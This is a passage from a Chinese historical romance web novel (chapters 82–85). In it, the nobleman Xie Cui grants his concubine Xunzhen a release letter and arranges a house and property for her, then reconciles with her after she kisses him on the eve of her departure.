承安报了几处选址,都是他亲身实地考察过的,一一详细解说:“朱雀门附近那处宅子,仅有三进,然而离东市、西市极近,平日里若想去逛逛,即便步行,一刻便能到了。” “至于含光街那处宅子,有四进,院子大得很,还有一栋藏书楼,原主人是江南的富户,因家中突遭变故,急需银钱,这才急着将宅子转手……” 谢漼颔首:“过几日我去瞧瞧。” 而后又吩咐了几件事,承安一一应下,便退下了。 承安已跟了谢漼十一年,自然明白谢漼此举的深意。 心中不禁讶异,爷居然已打算外出立府了。 若是选现成的宅子,便不用等,可直接入住。但若要新建府邸,以爷那性子,定是什么都要用最好的,施工起来,短则一两年,长则三五年,甚至更久。 自己往后可有得忙了。 不过,一旦爷单独立府,承安便不用再与其他院的人打交道,做事也会省心许久。 这么一想,承安反倒十分期待搬出去的日子了。 谢漼晚上无事,本想去清挽院,可又念及她今日早起,在原上跑了许久,定是累极,便打消了念头,在书房中作起画来。 画至中途,谢璋端着一盘点心走进书房。 “多谢恒哥儿。” 谢漼将谢璋抱起来,给他看画了一半的画。 谢璋:“爹,这是哪里?好漂亮。” 谢漼:“这是日后我们要住的地方。” 谢璋哇了一声,大眼睛满是期待地眨了眨,问道:“什么时候搬过去? 谢漼:“新宅还未买下,恒哥儿想要个什么样的住处?爹让人按你的心思建。” 谢璋:“什么样的宅子我都喜欢,只要有爹,还有……” 谢漼含笑问:“还有什么?” 谢璋扯着谢漼的头发:“还有真儿。” 谢漼曲指,敲了下谢璋的脑门。 谢璋嗷呜一声,捂住了额头。 谢漼:“恒哥儿如此不懂礼数,你说你娘怎愿见你?” 谢璋瘪了瘪嘴,眼中涌起一丝委屈,鼓着脸颊,气气地哼了一声,跑开了。 谢漼摇了摇头,失笑,继续作画。 夜深就寝,谢漼今日入睡得很快。 谢漼做了个梦,白日的情景再度浮现。 她立在高坡之上,衣摆被风吹得猎猎作响,双臂展开,整个人仿若与天地融为一体。 下一秒,似要乘风飞去。 谢漼仰头望着,明明不过几步之遥,头一回,竟觉得她离自己无比遥远,仿佛隔了一道天堑。 他疾步上前,想将她抓在手中,牢牢箍在怀。 手却扑了个空,定睛再看,人已完全消失了。 …… 谢漼惊醒,一身冷汗。 心跳急速,心脏仿佛要从喉咙口蹦出来。谢漼急喘几声,盯着漆黑的床顶,许久,他下了地。 披着夜色而行。 夜深露重,衣裳渗进丝丝凉意,清寒侵体。 谢漼走进房门,没有惊动丫鬟们,走进卧房时,梦境带来的余悸仍未消散,心头竟涌起一丝惧,怕那床上空无一人。 脚步近了,谢漼借着月色,看见那张恬睡的脸。 那颗慌乱躁动的心,就这么静了下来。 谢漼坐在床尾看着。 等着心绪逐渐平复,谢漼不想惊动她,正欲起身离开。 却见床上人缓缓睁开眼,支起身子,声音带着浓浓的睡意,还有几分不确定,似乎以为自己出现了幻觉。 “……谢漼?” 谢漼被唤了名字,心间仿佛被什么东西轻轻敲了一下,震出了奇异的律动。 他凝视她,许久,缓缓道:“是我。” 寻真一下清醒了。 原来不是梦。 寻真心想,大半夜他过来,难不成是那方面有需求? 一时不知道该说什么。 沉默片刻后,一股凉意侵袭而来。 谢漼将她抱住了。 他身上好冷,寻真猛地打了几个寒噤。 谢漼却并未松手,依旧紧紧拥着她。 寻真:“爷,你怎了?” 抱了一会,他松开,抬起手,温柔地抚了抚寻真的脸颊。 月光落在他脸上,那眼神深邃而专注,似一泓深不见底的幽潭,简直要将人溺死在里面。 他声音有些沙:“无事。” “只是突然想见真儿,便来了。” 谢漼笑了笑:“真儿继续睡吧。” 谢漼走了。 寻真看着前方,空荡荡的床脚,还以为是一场梦。 身上还缠绕着丝丝缕缕的凉意,寻真躲进锦被中,再度被温暖包围。 过了几日,谢漼去看了承安找的几处房子。 都不太满意。 “朱雀门那宅子,位置不错,却小了些。含光街那处,过于铺张奢靡,若重新改建,工期怕是也短不了。再看看,若没有合适的,也不急于一时。” “实在寻不到好的,便只能选块地,重新起造。” 承安:“是。” 对于寻真来说。 谢漼最近是对她越来越好了。 好的都让她有些诚惶诚恐了。 谢漼想从她身上整块的挖走什么。 寻真感觉自己被谢漼温水煮青蛙了,迟早有一天,她就什么都不剩了。 第83章 第83章“何苦” 谢漼新送来的两大箱子东西,放在院子里,瑞宝跟报菜名似的,说她名下的产业,哪条街又多了间铺子,哪里又多了块地。寻真听得都走神了。 瑞宝说完,特别留意了寻真的表情,然后回去复命。 丫鬟们进库房盘点,寻真荡着秋千,看书。 半个时辰后。 眼前落了阴影,寻真抬起头来。 谢漼唤了她一声,自然地牵起她的手,十指相扣。 寻真被他牵着往里走去。 寻真惊觉。 她已经习惯谢漼的触碰,身体没有一点排斥了。 是从什么时候开始的? 寻真完全没有印象。 走到次间门口,寻真看了眼紧扣的双手,慢慢地,将手抽了出来。 谢漼脚步停住,回过头。 四目相对。 谢漼的神情分明没有变,眼中却隐隐流动着什么。 寻真迫切地想做些什么,说些什么。 像是身体里的自我保护机制被触发了。 在谢漼的注视下,寻真忽然想起,那个夜晚。 谢漼冰凉的拥抱。 寻真率先移开目光。 往后退了一步。 眼神垂在地上,声音也垂了下来。 “你去找别人吧。” 门半掩着,午后的光斜着打入,将地面染成金黄色。 寻真望着那片光亮,胸口的某处地方似乎有点难受。 隐隐的,不明显。 她能感觉到谢漼的目光落在头顶。 寻真静静地,等他回答。 “……真儿这是何意?”他问。 声音清冽冷涩,仿佛挟着冬日的寒霜。 寻真动了动唇,喉中干涩,没有发出声音。 谢漼捏住她的下巴,轻轻抬了起来。 寻真对上了谢漼的眼睛。 谢漼缓缓地,语速极慢地对她说:“真儿方才说了什么。” “可否再与我说一遍?” 他眸中,那平日里被收敛得极好的强势,此刻如困兽一般,在眼底翻涌。 看,这才是谢漼。 这些天的温柔不过是精心伪装的假象。 他演给她看的。 寻真面对这样的谢漼,反倒有了一丝安全感,也多了几分勇气。 她眼神再不避让,重复了一遍:“你去找别人吧。” 谢漼捏着她下巴的手不自觉用力。寻真吃痛,蹙了蹙眉。 谢漼松开了手。 须臾,又问:“真儿想让我去找谁?” 寻真:“随便谁。” “你想要的,别人可以给你。” “我给不了。” 谢漼的胸膛明显起伏着,脸色却异常冷静。 看上去似乎完全没有被她这番话所牵动。 谢漼:“我想要什么?” 寻真没有回答。 谢漼又问:“你又想要什么?” 寻真看着他道:“方才我不都跟你说了吗?” 谢漼盯了她片刻,最终什么话也没说,转身走了。 寻真浑身的力气瞬间卸去,像是完成了一件了不得的大事,如释重负。 寻真脑袋放空了一下午,晚上用过饭后,早早上床了。 正当她快要入睡时,听到月兰通报。 谢漼来了。 寻真懵懵的,从床上爬起来,拥着被子。 谢漼大步走到她面前,转头对月兰吩咐道:“拿纸笔来。” 月兰应了一声,磨好墨,将纸笔放在案上,出去了。 卧房内,只剩寻真与谢漼两人。 凝星珠摆在一旁的架子上,散出柔和而明亮的光线。 谢漼却一身冷肃,携着室外的冷气。 谢漼:“我最后再问你一遍。” “你白日与我说的那番话,可是发自内心?” 寻真攥紧了被子,垂着眼,点了点头。 谢漼注视她许久,心口像是被狠狠挤压着。 早该明白的。 此时此刻,谢漼不得不承认,他已在不知不觉间,被面前这女子深深左右。 纵倾己所能,对她千般呵护、万般宠爱,她若不喜,不过徒劳。 何苦自缚。 当断不断,反受其乱。 他谢漼,岂会为区区失去之苦所困? 不过一女子罢了。 想至此,谢漼心一横,眼神便冷硬下来。 看着寻真,一字一句道:“好,我如你所愿。” 谢漼大步走到案前,提笔挥毫,笔速极快,转瞬间便写完。 而后又高声唤了一声,让月兰去取来印章。 月兰走进房内,房中气氛压抑得让人喘不过气,心中一惊。 她领了命,正要退下时,不经意间瞥见案上那纸,那纸上三个大字——“放妾书”。 月兰双腿一软,险些坠地。 月兰出门,心脏怦怦怦直跳。 白日还好好的,爷还送两大箱子珍宝来,两人还牵着手进屋了,怎么晚上就写起了放妾书? 引儿见她神色惶惶,疑惑问道:“月兰,你怎么了,脸色这么差,见了鬼似的?” 月兰摇摇头,自我安慰,许是自己误会了呢,应该不是真的,肯定不是真的…… 月兰道:“没事,爷叫我去取印章,我这就过去……” 房内。 谢漼走到寻真面前,语气公事公办,面色冷硬,如同对待一个陌生人。 眼神前所未有的陌生。 “你伴我身侧,已四载有余,且为我诞育子嗣,延续谢氏血脉。平日里,你言行端正,无可指摘之处。” “如今放你离府,我自然不会亏待你。记在你名下的田产、铺子,是你应得,皆可一同带走,此外,我再给你添一份金银财货,以作贴补。” “瑞宝与康顺,为人忠谨可信,我会把这二人的身契交与你。” “这几日,我即吩咐承安,先把你的事办好,该有的文契、财物,都会给你补齐,你不必担忧日后生计。” 寻真张了张口,似乎是想说些什么。 谢漼一顿,看向她:“……你有何异议?” 寻真:“不用给我那么多的,还有瑞宝和康顺不都是你的人么……” 谢漼:“你如今失忆,府外状况一概不知。” “当下世道,人心难测,你未涉尘世,若出了府,无人庇护,却身负巨财。若无亲信在侧,恐遭奸人觊觎。” “我既已将人给了你,断无收回的道理,往后他们就归你管束。” “还有,你院中这些丫鬟,你若是想带走,都随你心意。” 寻真看了谢漼一眼,又迅速垂下眼。 谢漼继续说:“你名下还没有宅子,不用急着走。” “这几日,我让承安加急为你采买,等宅子买好了,再走也不迟。” “我既已允了你,断不会食言,你大可放心。” 寻真其实想说,若真要离开谢府,她不一定留在京都。 但想了想,还是说:“……好。” 谢漼立在窗前,静静地望着窗外。 寻真坐在床上。 两人之间一片死寂。 窒息般的安静很快被一串凌乱的脚步声打破了,月兰进来,捧着一个方匣子,对谢漼道:“爷,印章取来了。”细听,那声音是颤着的。 谢漼应了声,摆了摆手。 月兰看了眼床上的寻真,退下了。 外面的引儿拉住月兰,见她脸色苍白如纸,神色惊慌失措,便知事情非同小可。 “月兰,到底发生何事?!姨娘与爷可是又吵架了?” 月兰虽还在自我安慰,可方才房里那压抑得近乎窒息的气氛,让她明白,这一切绝非玩笑。 爷是动真格的了。 “……爷写了放妾书,方才让我取的正是爷的印章。” 引儿瞪大了眼睛,满脸的不敢置信。 谢漼拿起放妾书,最后扫了一眼,敲下印章。 沉闷的敲击声在寂静的室内格外清晰,仿佛一记重锤。 谢漼拿过来,薄薄的一张纸落到寻真面前,没有重量。 寻真接过,看着上面写着—— 【放妾书 天启十四年八月二十五日,博陵谢氏子,谢漼,字缮之,谨立放妾文书,以呈官府。 妾柳氏,自入吾门,温婉恭顺,持礼守节,并无过咎。然吾二人缘分浅薄,情志难通。强为相守,于卿于吾,皆非幸事。 今放卿自由,往昔恩义,皆付云烟。家中财物,已依例分与,并无纠葛。 望官府恩准,成全此举。自此相别,各安天命。】 谢漼:“你……纵是离了府,这几年的情分仍在。” “日后你若碰到什么难处,尽管派人来寻我。” “若我不在京都,派人去寻承安也是一样。” 寻真捏着这张纸,看着谢漼,低低地说了一句:“……谢谢。” 谢漼目光在她脸上凝了数秒,转身,抬步欲走,刚迈出一步,似是又想到什么,停下,侧着身子对她说:“还有……恒哥儿。” “你若哪日记忆恢复,想见恒哥儿,只管遣人来告知我。” “我绝不会阻拦你们母子相聚。” 寻真:“好。” 谢漼走后,月兰和引儿二人跑进来,一眼便瞧见寻真手中握着的放妾书。 两人脸色煞白,“扑通”一声,扑到寻真面前,眼眶中泪光闪烁。 月兰哽咽:“姨娘,您……”话都说不下去。 寻真将纸折拢,放在床边,平静地对她们说:“不是你们想的那样,放妾书是我向他要的。” 两人傻眼。 月 兰忍不住问道:“……为何?” “没为什么……明天再说吧,我要睡了……” 寻真躺了回去,背对着二人。 月兰和引儿对视一眼。 引儿迟疑着,小心翼翼地问:“姨娘……您没事吧?” 寻真声音平缓:“没事。” 月兰和引儿二人走出去,关门前,又朝床那边望了一眼。 怎么瞧都不像是没事的样子。 出去后,两人唉声叹气。 怎么好好的,突然就变成这样了呢? 谢漼回到院子,谢璋如往常一般,跑来迎接他。 谢漼站定,低头凝视着谢璋。 谢璋很敏感,歪了歪头,问道:“爹,你怎么了?” 谢漼看着谢璋道:“无事……天晚了,恒哥儿去自己房中歇息吧。” 谢璋扯住了谢璋的袍角,脸贴在衣服上,仰头,目不转睛瞧着他。 谢漼叹了一气,弯下身,摸了摸谢璋的脑袋:“恒哥儿,爹今日忙,一会还有事,顾不上你,恒哥儿自己去睡,可好?” 谢璋思考了一会,乖乖地点了点头:“好。” 谢漼提起笔,手却抖得不行。 许久,都写不成一个字,谢漼放下了笔。 唤人进来。 谢漼:“你去将朱雀门那宅子买下,记在柳氏名下。” “我已放柳氏出府,此后相关事宜都交与你去办……其余事都先搁置。” 谢漼一一吩咐。 承安听着,心中惊骇万分。 爷竟要出妾,为何? 承安并未多问,掩下心中的惊讶,领命而去。 翌日,承安心情极为复杂地将瑞宝、康顺二人叫来,告知他们这一事实,并说会将他们二人的身契转交给寻真。末了,又严肃地敲打二人:“爷虽出了姨娘,情分却是在的。若你二人有任何不轨之心,爷定不轻饶。” 瑞宝瞪大了眼睛,大声道:“为什么!爷竟要将姨娘逐出府?!” 承安抬手拍了下他的脑瓜子:“爷的决定,岂容你多加揣测。照着做便是了!再说了,若是真将姨娘逐出府去,爷何必这般费心安排。其中定有不可说的缘由。” 瑞宝秒懂,便以为是后宅危险,爷为了保护姨娘,才暂时将姨娘送出府去,一脸恍然大悟的模样:“好好,承安哥,我一定会将姨娘保护好的!” 承安见他这反应,也知他误会了,却也没多做解释,只是点了点头。 寻真在屋子里收拾。 其实也没多少东西可收拾。 谢漼虽说让她都带走,可寻真要真全拿了,那可就太不知好歹了。寻真只挑了平时常穿的衣服,打包起来。 引儿一边帮她收拾,一边抹着眼泪。 “姨娘……就这样了吗……” 寻真嗯了一声。 引儿:“姨娘去求爷收回成命吧……若是姨娘求了,爷肯定会答应的……” 寻真沉默半晌,“就这样吧,这样是最好的……” 第84章 第84章“红润” 承安办事极为利落,没费多少功夫,便与宅子主人谈妥了买卖。 当天下午,便差瑞宝将房契送到寻真这里。 瑞宝见月兰引儿二人丧眉耷眼,神色恹恹,便问:“二位姐姐,这是怎么啦?” 二人心里正堵着气,哪有好脸色给他。姨娘都被爷遣出府了,他竟还笑的出来。 瑞宝得了两个白眼,尴尬地挠挠头,又提议道:“宅子还没打扫干净,眼下还住不了人,不过库房里的东西可以先送过去,正好一并整理整理。” 月兰纵万般不情愿,可也只能强打精神干活。 午后,便指挥着仆人们一箱一箱地往外搬东西。 十几个仆人一起动手,转瞬间,库房便被搬空了。 寻真本想着只带些日常穿的衣物就好,稍一走神,发了会儿呆,再一转头,发现屋子差不多被搬空了,只剩下几件这两天要穿的衣裳。 寻真收拾出来的那一堆,被月兰视作比较重要的,单独放在一个箱子里。 昨天谢漼才给了放妾书,今天宅子就已买好,东西也都收拾好并运走了。 谢漼带的人,办事效率确实高。 事已至此,寻真也彻底明白,谢漼是真心实意要放她走了。 虽然心里有种说不出来的滋味,还有种占了谢漼很大便宜的感觉……但既然事情已经发展到这个地步。 以谢漼的性子,既然决定了,便不会反悔。 回想起来。 之前跟谢漼要放妾书,他说的那些话,应该都是吓唬她的。 真要放了,他还是很大方、很体面的。 连她的后半生都考虑周全了。 的确,谢漼送的那些田产、铺子,还有宅子,足够她余生衣食无忧,甚至能过上富足的生活。 抛开别的不谈,单就这一点,他还是很好的。 日暮时分,月兰的心情好了许多。 她和瑞宝去新宅子看了看,那宅子有三进,姨娘一人住绰绰有余,十分宽敞。 虽说姨娘被出了,但这些利益都是实实在在的,爷并没有亏待姨娘。日后出了府,日子也会过得更加轻松自在,且无人管束,这么一想,月兰便觉得宽慰许多,心里也舒坦不少。 月兰对寻真说道:“姨娘,奴婢去瞧过了,朱雀门那宅子,附近便是朱雀大街,离东市、西市都很近,日后您要是想出府逛逛,极为方便。” 寻真点点头,想起谢漼说的,便向月兰和引儿问道:“你们是想跟我出府,还是留在这里?” 月兰大惊,她从未想过要留在这里,跪下说道:“姨娘这说的是什么话,奴婢自然是跟着您!” 引儿也跟着跪下:“奴婢也跟着您。” 她们动不动就跪下的习惯还是改不掉。 寻真:“起来吧,月兰,你去问问她们,要不要跟我们走。” 月兰出去没多久便回来了,眼中带着些许怒气。 她心里虽能理解,但还是感到气愤。 “只有云珠、碧梧二人愿意随姨娘走,其余的,都想留下。” 大家心里都清楚,一边是被休的妾室,另一边是名门谢府,哪边更有前途,一目了然,明眼人都知道该怎么选。 寻真:“好。” 承安动作快,短短一日,除了放妾书还未在官府备案,其余事情都已办妥。 寻真就等着朱雀门那宅子清扫完,便可直接搬进去。 谢府里人多嘴杂,清挽院虽偏,但搬东西这么大的动静自然瞒不住人,很快便有人去打听。 而谢漼亦无意隐瞒。 这消息如同生了翅膀一般,迅速传入各院主子耳中。 钱绮惊讶道:“此事可是真的?莫不是哪个仆人口无遮拦乱说的吧?” 徐嬷嬷笃定道:“假不了!府里都传遍了,说是西苑那处,一箱一箱往外搬呢,院子都被搬空了!五公子虽出了她,给的补偿倒也不少。” 又感慨道:“当初那般宠爱,还让那女子生下长子,如今情分没了,就将人逐出府,真是……” 钱绮眼中也满是感慨:“天下男子,皆这般喜新厌旧,五郎这等人杰,亦未能免俗……好在如今一切都重回正轨,对五郎来说,也算是件好事。” 谢进过来找母亲,却听到了这番谈话,一下子愣在了原地。 钱绮看到儿子,露出笑容。 先前,她为儿子寻了通人事的丫头。便是那丫头主动了,儿子也不愿。钱绮就没再勉强,毕竟儿子年纪说大也不算大,如今又沉稳了许多,过两年再看也不迟,也不再着急。 钱绮见儿子脸色有些白,问道:“炎哥儿怎了?可是哪里不适?” 谢进:“娘,您方才跟徐嬷嬷在说什么呢?” 这些后宅里的闲言碎语,与儿子没什么好说的,钱绮道:“没什么,只是些小事。” 谢进却是听见了的:“娘,我好像听您说,五兄将他那妾室出了?” 钱绮狐疑地看看儿子,觉 得他的反应有些奇怪:“此事还未确定,只是下人们在传罢了。” 谢进心中自责起来,莫不是因为自己的缘故,五兄才要将姐姐逐出去? 若是这样,那自己的罪过可就大了。 钱绮:“炎哥儿?” 谢进:“娘,我回屋了。” 谢进心急之下,直接跑了出去。 儿子的反应实在怪异,钱绮叫徐嬷嬷跟上去看看。 谢进跑了几步,突然顿住,像是想通了什么,神色渐渐释然,长舒一口气,转身往自己的屋子走去。 徐嬷嬷回去禀报:“少爷确实回屋了。” 钱绮点点头,仔细回想谢进方才的表现,也琢磨不出个所以然来,便不再深究,只是在心底隐隐种下了一丝疑惑。 二夫人那边也得知了这个消息。 晚上与谢二爷说了。 谢二爷显然不太相信,他比旁人知道得更多,也清楚谢漼曾为了那柳氏要休妻。 “应是谣传,侄儿对那柳氏,一向极为上心,怎可能出了她?且柳氏还生下了恒哥儿。” “就算没了情分,断不至于出了有子无过之妾,定是谣传。” 二夫人说道:“起初,我也以为是谣传,便派人去问承安,他也如实说了,侄儿确实给了那柳氏放妾书,还在外给她添了一座宅子,柳氏不日便要搬出去了。” 谢二爷沉思许久,而后道:“若是这样,倒是好事,侄儿总算是想通了。” 谢二爷想了一会,又道:“过几日等柳氏搬出去了,我再给她添些东西。她侍奉侄儿多年,还生了恒哥儿,不可薄待。自当妥善安置,全了体面。” 二夫人:“我也是这么想的。” 熄烛后,二人在床上又聊了几句。 谢二爷:“……这小吕氏不堪为我谢家妇,这柳氏走了,便可与老夫人谈一谈……与小吕氏和离,再为侄儿寻一门好亲事。” 二夫人:“可是要将上次那事说出来?” 谢二爷应了声:“想来老夫人知道了,自能掂量出其中轻重,只提和离,应会允准……这样一来,倒也算得上圆满了。” 二夫人十分赞同:“此次当为五郎求一位宽宏雅度的贤良女子,日后才能撑得起谢府的门面。” 谢二爷:“你多帮缮之留意些。” 二夫人:“这事便交给我了。” 二人谈完便睡下了。 消息在谢府的下人和主子们之间传得沸沸扬扬。 谢璋还一无所知。 他只觉得这两日爹心情不太好,走过去,爹都不太愿意搭理他,即便与他说话,也是强打精神。 谢璋在书房的小案上写字。 谢漼下值后,走进书房。 谢璋见谢漼没理自己,便主动走过去,到谢漼脚边,扯了扯他的衣服。 谢漼停下手中动作,低头看去:“恒哥儿。” 谢璋眨眨大眼睛:“爹。” 谢漼将他抱到膝上:“恒哥儿……” 欲言又止。 在谢璋这里,他终是失信了,先前分明答应了他…… 谢璋仰头看着谢漼,又问起那个问题:“爹,你什么时候带我去见真儿呢?” 谢漼沉默着,摸着谢璋的脑袋,想了许久,终是没有说出口。 恒哥儿年纪还小,未经历过离别之苦,若是现在告诉他,反倒要让他难受。 还是慢慢来,日后再寻个合适的时机,向恒哥儿坦白。 谢漼道:“我不是与恒哥儿说过了,一年之内么。” 谢璋有些失落:“……好吧。” 寻真拿到放妾书后,不过三日,一切都安排好了。 朱雀门的宅子已打扫干净,虽然寻真还没去看过,但听月兰描述后,寻真对离开谢府后的生活还是很期待的。 明早就要走了,这三天,谢漼都没来过。 就好像他给了那张放妾书后,两人的生活便从此彻底割裂。 寻真坐在床上,望着窗外,心中些许怅然。 后院的西瓜地,明年说不定就会结出果,她却没机会看到了。 还有橘子树、石榴树也都没结果呢。 出了府后,要重新开始种了。 寻真思来想去,还是得跟谢漼郑重地道一声谢,做最后的道别。 寻真问月兰:“你可不可以帮我去问一问,我能不能再见爷最后一面?” 月兰应下,立马跑出去问。 寻真心中忐忑,担心被拒绝。 若谢漼不愿见她,那就应了放妾书上写的那句——“往昔恩义,皆付云烟”。 没想到谢漼同意了,说是晚上用过膳后来。 寻真又紧张了,心里不停地盘算着等会要跟谢漼说的话。 谢漼本也是要去见最后一面的。 用完晚膳,他朝着清挽院走去。 这条路他走过无数回,如今却是最后一次了。 脚步不自觉慢了下来。 其实,这样也好。 这三日,他已想清楚。 那日狠心与她断了,彼时竟生出了可憎的念头,想要将她强行绑在身边。 在她面前,数次未能自控。 过往历历在目,细细想来,她对自己的影响实在太深。 现在放手,好聚好散。 等时间长了,便自然而然淡忘了。 这世间,没什么是不能放下的。 无取著则无怖畏。 这样,很好。 谢漼这样想着,缓缓往清挽院走去。 寻真坐在床边,谢漼看了她一眼,走过去,在她面前站定。 谢漼俯视着她,淡淡开口:“寻我何事?” 谢漼立在她面前,周身散发着拒人于千里之外的气场。 反正是最后一面了,寻真拍了拍身边的位置:“要不坐下聊吧?” 寻真还以为谢漼不会同意。 谢漼真的在她旁边坐下了。 两人隔了一臂的距离。 寻真余光看着谢漼外袍上绣的竹子:“我想了想,还是得对你说一声谢谢,其实你对我挺好的,只是我……” 寻真脑子突然一片空白,刚才打好腹稿的话全都忘光了。 “呃……你给我太多了,我不知道该怎么……” 谢漼的手放在膝上,坐得很正,侧头看了她一眼:“我不是都与你说明白了,这些本就是你应得,勿需愧疚,也别觉得自己担不起。” “本就都是给你的,若你去后,我将那些收回,成什么人了?” 寻真嗯了一声。 她心想,她与谢漼之间这么平等的谈话状态,竟在她走的前一天实现了。 寻真突然明白了,谢漼的脑回路跟她完全不一样。 在她还是他的妾室时,他便觉得她是他的人,属于他。 所以谢漼经常说什么“管教之责”。 他打心底里认为,他有责任管着她。 所以现在她不是了,谢漼那些想法就都消失了。 那种如影随形的压制感也没了。 谢漼唤了她一声,寻真没听到,沉浸在自己的思绪中。 谢漼唤了第二声,才回神。 他叫的是柳氏。 寻真应着。 谢漼:“明早便走了?” 寻真:“嗯。” 谢漼:“好,我还未告诉恒哥儿。只有一事,我先前答应了他,要带他见你,你不知,他对你十分孺慕,你可愿再给他一次机 会?” 寻真还没答,谢漼又补充:“你若实在不愿,我亦不强求,恒哥儿那边,我自会去解释。” 寻真答应了:“好。” 谢漼:“你先前与我说,若出去后,想做些抄书、卖吃食的营生。我给你的钱财足够用了,无需你在外抛头露面。若有闲情,偶尔做个一两天也无妨,莫要太过操劳。” “你不擅驭人,日后出了府,凡事要多留个心眼。” “你性子太软,若遇恶仆欺主,直接赶走便是。” “你若不懂如何调/教下人,便尽管交给月兰去办……” 谢漼絮絮叨叨讲了好多。 寻真忍不住转头,看着他。 谢漼:“我三日前,与你讲的,可都记住了?” 寻真:“……啊?” 谢漼也转过头看她,见她仍是这般不谙世故之态,眉心微微蹙了起来。 “若碰到什么难处,尽管派人来跟我说。” “切莫负气,莫要觉着自个没面子。只要你肯开口,我自会帮你。” 明亮的光线洒在他脸上,衬得他的脸庞如玉般皎皎。 寻真视线落在他眉眼之间。 眼睛的状态瞒不了人。 他双眼带着明显的疲态,眉毛没什么精神,眼下还有明显的青色。 谢漼坐在她右侧,注视着她,目光中带着自己都未察觉的丝丝忧虑。 他张着嘴,絮絮地讲着什么。 寻真什么都没听清。 只盯着那红润的唇上下张合着。 蓦地,她双手撑着床沿,歪着身子转过去。 轻轻啄了一下谢漼的唇, 一触即离。 谢漼僵住了。 第85章 第85章“像果冻” 谢漼的目光投过来,那眼神似乎是询问她这行为是什么意思。 寻真也不知道自己在做什么。 僵持了数秒后,她说:“这是Kissgoo——” 还未说完,谢漼便欺身上前。 寻真唇上一热,柔软的触感袭来, 唇被堵住了。 谢漼一手拖着她的后脑,一手捧着她的脸。 掌心的温度熨帖着她的肌肤。 他吮吻着,舌尖抵入。 寻真的口腔中充斥了谢漼的气息。 “唔——” 不知不觉中,寻真被谢漼半抱着往床里挪。 谢漼没有做别的,只认真地吻她。 不知过了多久,谢漼停了下来。 寻真仰躺在床上,面色绯红,发丝凌乱地散在枕上。谢漼覆在她身上,一只手握着她的肩,另一只手轻轻抚着她的脸。 两道急促的喘息在狭小的空间里交缠、相融,彼此的头发也缠绕在一起,分不清谁是谁的。 谢漼那双带着淡淡疲态的眼睛,此刻灼灼生辉。 他声音微哑,缱绻着无尽的温柔。 “还走吗?” 他唇上沾着晶莹,微微泛红,水润而又富有光泽。 好像很有弹性。 看上去……很好吃的样子。 寻真鬼使神差地扯住谢漼的衣襟,再度吻了上去。 软软的,像果冻。 谢漼回以热烈的反应。 两人身体交叠,他吮吸她的唇瓣,舌尖肆意地碾过她的,吻得愈来愈重。 仿佛要将这三日来所有的压抑、思念与渴望都发泄在这个吻上。 逐渐失控。 寻真感到缺氧,拍了拍谢漼的肩, 谢漼完全沉浸其中,未察觉她的意图,大掌顺势包住了她的手,然后慢慢绕过来,十指相扣,压在床上。 寻真手又伸上去,用力推了一下谢漼的脸。 “唔……我没气了……” 谢漼松开了她。 寻真慢慢喘着气,嘴唇被谢漼啃得微微肿了。 谢漼凝视着她,须臾,将她紧紧抱住。手臂收得极紧,仿佛要将她揉进自己的身体里。 寻真枕着谢漼的胸膛,谢漼有力的心跳声一下下撞入耳中。 寻真喘匀了气,脑海中的理智才回归了些。 头顶上方传来谢漼不太平稳的呼吸声。 谢漼有一下没一下抚着她的肩。 谢漼唤了她一声:“……真儿。” 寻真:“嗯。” 谢漼:“日后便好好待在我身边,可好?” 寻真没有立刻回答,谢漼的身体瞬间紧绷了些,低头看去,拍拍她发顶,声音里带着一丝不易察觉的紧张:“……嗯?” 寻真想了半晌后道:“可是你不是已经给我放妾书了吗,要不……我明天还是搬出——” “莫要再说这些话与我置气!”谢漼搂着她的力度又紧了些,“好在放妾书还未送至官府……真儿现在还是我的人。” 谢漼心道,纵是出了妾,只要她能回心转意,那些都不过是小事,无论如何都能解决,大不了多费些周折罢了。 寻真突然有些后悔。 她是不是错过了最后一次离开这里的机会? 谢漼问道:“真儿可否告诉我。” “你心中的真实想法?” 寻真没有回答。 谢漼很耐心,只轻抚着她背,缓缓道:“真儿你不喜被束缚,今后我不再勉强你做任何你不喜欢的事。” “一切都随你的心意。” 事到如今,谢漼已明白她在自己心中的分量。 方才,她主动吻了自己。 那一刻,心跳都骤停了。 谢漼此生从未有过这种感觉。 也确信,这世间不会再有第二个人会给他这种感觉。 丈夫一言许人,千金不易。 谢漼从不轻易承诺于人,必是他认定能做到的,才会许下诺言。 一旦承诺,便终生坚守。 谢道:“我院中只你一人,现在如此,以后也会如此。” “你不必忧心我会将心思转到他人身上,无论何时,我都不会冷落薄待你。” “真儿,如此,你可愿安心留在我身边,与我共度此生?” 寻真嘀咕了一句什么,声音很轻。 谢漼没听清:“……真儿,方才说了什么,可否再说一遍?” 怀中人仰起头来看了他一眼,又垂下。 这回听清了,她说:“……骗谁呢。” 谢漼:“真儿怎胡乱冤枉人,我何时骗过你?” 寻真再度仰起头,眼睛睁大了些,控诉般的口吻。 “你后院只我一个?” “那你正妻呢,她不是人吗?” 谢漼一滞,随即反应过来,道:“上回我与你说的,可都记得?” 当然记得。 寻真嗯了一声,说:“反正不管是谁,你总是要有正妻的。” “还不如早点放我走,不然下一个来了,也照样是看不惯我的。” 谢漼又愣了一会,眉眼展开,低低笑了一声,胸膛轻轻颤着。 “真儿竟是在与我气这个……” 谢漼托起她的脸,鼻尖与她的挨蹭着,两人的脸离得极近。 谢漼声音温柔,拇指摁着寻真的脸颊:“莫不是一直以来都在与为夫气这个?” 寻真偏了过头,眼神瞥向另一处。 谢漼眉眼弯着,似是极为愉悦的样子,把她的脸掰过来,亲了亲唇。 然后解释道:“为夫许你,若与吕氏分开,日后,便不再娶妻,亦不再纳。” “只要你一人,这样可好?” 寻真没答,谢漼又道:“真儿若是不应,为夫便当做你默许了?” 寻真扯着谢漼的衣服,含糊支吾了一声。 谢漼便笑,捧着她的脸,又亲了亲,手点了点她心口处:“真儿心中想什么,怎从不告诉为夫?若真儿早些说了,你与我也不会闹到这般地步,险些……”想到前几日,谢漼的嘴角便往下压了压。 “罢了,这回真儿总算与为夫说开,为夫便也不计较了。” 他还不计较上了! 寻真听着谢漼在那自顾自脑补了那么多,忍不住反驳:“我才不是因为这个!” 谢漼立马追问:“那是为何?” 寻真看着他:“你总喜欢管着我!” 寻真举了个例子:“……上次出府,我不过看了你朋友一眼,你就说我 。” 谢漼:“那回,却是真儿做的不对。无论是不是我好友,于真儿而言,皆属外男。真儿那般娇憨之态,在外男面前显露,终究不妥……” 寻真推了一下谢漼的肩膀,没推开。 谢漼安抚似的拍了拍寻真:“好了……日后为夫便少管着你些。” 